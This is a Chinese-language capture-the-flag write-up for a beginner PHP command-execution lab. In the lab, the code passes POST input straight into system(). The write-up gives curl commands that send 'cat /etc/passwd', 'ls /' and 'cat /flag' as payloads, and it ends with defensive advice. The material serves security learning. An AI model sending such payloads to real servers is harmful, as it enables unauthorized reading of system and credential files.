靶场:HelloCTF - RCE-labs(命令/代码执行靶场)
分类:Web / RCE / 命令执行
关卡:命令执行(system)
难度:★★☆☆☆(入门)
〇、写在前面
这一关和上一关"一句话木马 eval"非常像,但有一个关键区别:上一关传的是 PHP 代码 ,这一关直接传 系统命令。本文会把两者的差别讲透,你照着做就能拿到 flag。
一、先分清:代码执行 vs 命令执行
| 对比项 | 上一关:eval($_POST['a']) |
本关:system($_POST['a']) |
|---|---|---|
| 漏洞类型 | 代码执行 | 命令执行 |
| 你要传的内容 | PHP 代码 | 系统命令(终端命令) |
| 拿 flag 的 payload | a=system('cat /flag'); |
a=cat /flag |
| 有没有引号、分号 | 有(PHP 语法) | 没有(纯命令) |
记忆方法:
- eval 后面是"一段 PHP 程序",要遵守 PHP 语法(函数、引号、分号);
- system 后面是"你在终端里直接敲的命令",怎么在终端敲就怎么传。
二、题目长什么样
打开题目,最上方有一行警告:

Warning: system(): Cannot execute a blank command in /var/www/html/index.php on line 21
这个警告的意思是:system() 收到了一个空命令 ,无法执行。因为我们刚打开页面、还没有 POST 数据,参数 a 是空的,属于正常现象,传了命令就不会再报。
页面下方是高亮源码,关键代码:
php
system($_POST['a']);
highlight_file(__FILE__);
三、源码分析
php
<?php
// ...(命令执行前置知识介绍)
system($_POST['a']); // 漏洞点:把 POST 参数 a 当作系统命令执行
highlight_file(__FILE__); // 高亮显示源码
?>
$_POST['a']:取出你 POST 提交的参数a;system(...):把内容直接交给操作系统的 shell 执行;- 没有任何过滤,所以我们传入想执行的命令即可。
题目提示先试:
POST: a=cat /etc/passwd
/etc/passwd 是 Linux 里记录用户账号的文件,cat 是查看文件内容的命令,能成功就说明命令执行成立。
四、解题步骤
1. 发送 POST 请求
和上一关一样,用 Windows 自带的 curl.exe(不需要装环境)。把 URL 换成你的靶机地址:
powershell
curl.exe -X POST "http://你的靶机地址/" --data-urlencode "a=cat /flag"
注意 payload 就是
cat /flag,没有引号、没有分号,因为这次是直接执行系统命令。
2. 命令逐段讲解
curl.exe -X POST "http://靶机/" --data-urlencode "a=cat /flag"
① ② ③ ④ ⑤
| 小段 | 含义 |
|---|---|
① curl.exe |
发请求的工具,必须带 .exe |
② -X POST |
用 POST 方式提交 |
③ "http://靶机/" |
目标地址 |
④ --data-urlencode |
附带数据并自动编码 |
⑤ "a=cat /flag" |
数据:参数名 a,命令 cat /flag(查看根目录 flag 文件) |
3. 先验证、再拿 flag(建议顺序)
第一步:验证命令执行(按题目提示)
powershell
curl.exe -X POST "http://你的靶机地址/" --data-urlencode "a=cat /etc/passwd"
返回 root 等账号信息,说明命令能执行。
第二步:直接读 flag
powershell
curl.exe -X POST "http://你的靶机地址/" --data-urlencode "a=cat /flag"
页面返回 Geesec{...} 形式的 flag。
想先确认 flag 在哪,可以先
a=ls /(列出根目录),看到flag文件后再cat /flag。
五、得到 flag
执行命令后,页面直接返回 flag:
Geesec{bfd9d43e-eae8-4f3f-be8b-f3049dc0ef5d}
注:动态靶机每次重新部署后 flag 会变化,以你自己靶机实际输出为准。
六、知识点扩展
6.1 system() 函数
system($command)把命令交给系统 shell 执行,并直接输出结果;- 它是命令执行最常用的函数,成功执行后返回最后一行输出。
6.2 PHP 中常见的命令执行函数
| 函数 | 特点 |
|---|---|
system() |
执行并直接输出 |
exec() |
默认只返回最后一行 |
shell_exec() / 反引号 |
以字符串返回完整输出 |
passthru() |
直接输出原始结果 |
popen() / proc_open() |
通过管道/进程执行 |
只要用户输入能进入这些函数,就可能形成命令执行漏洞。
6.3 为什么这一关不用写分号和引号
- 上一关
eval期望的是 PHP 语句,system('cat /flag');是合法 PHP,需要引号包参数、分号结尾; - 本关
system期望的是一条 shell 命令字符串,cat /flag本身就是完整命令,直接传即可,多写反而会报错。
6.4 命令执行的危害
一旦能执行任意系统命令,攻击者可以:
- 读取任意文件(
cat、tac、more); - 查看目录、权限、进程(
ls、id、ps); - 写入文件、上传 WebShell;
- 进一步提权、控制整台服务器。
七、常见问题
| 现象 | 原因 / 解决 |
|---|---|
Cannot execute a blank command |
没传参数,按本文 POST a=cat /flag 即可 |
| 命令没反应 / 报错 | 检查是否多写了引号、分号(本关是纯命令) |
| 超时、无法访问 | 动态靶机过期,重新开启靶机 |
| 找不到 flag 文件 | 先 a=ls / 列目录确认文件名 |
| 终端粘贴异常 | 用右键粘贴,命令写成 curl.exe |
八、防御建议
- 绝不把用户输入直接传入
system、exec等命令函数; - 必须执行命令时用白名单(如只允许
ping),并用escapeshellarg()、escapeshellcmd()转义; - 过滤
; | & $ ( ) 反引号 换行等 shell 元字符; - Web 服务以最小权限运行,限制可访问文件,敏感文件不对外;
- 在
php.ini用disable_functions禁用命令执行函数; - 部署 WAF,监控异常命令请求。
九、总结
本题完整链路:
源码
system($_POST['a'])→ POST 直接传系统命令a=cat /flag→ 服务器执行并回显 flag。
需要记住的 4 点:
system是命令执行,传的是终端命令,不是 PHP 代码;- payload 直接写
cat /flag,不带引号、分号; - 先
cat /etc/passwd或ls /验证,再读 flag; - 与
eval关的核心区别:一个传代码,一个传命令。
版权声明
- 本文涉及的靶场题目源码来自开源项目 ProbiusOfficial/RCE-labs (作者:探姬 / ProbiusOfficial),项目基于 Apache License 2.0 开源协议,地址:https://github.com/ProbiusOfficial/RCE-labs 。
- 本文为个人学习笔记(Writeup),引用源码仅用于题目分析与技术说明,相关代码版权归原作者所有。
- 本文文字分析、整理部分为本人原创,转载请注明出处。
- 本文仅用于网络安全学习与研究,请勿用于任何未授权测试;如涉及侵权,请联系本人删除。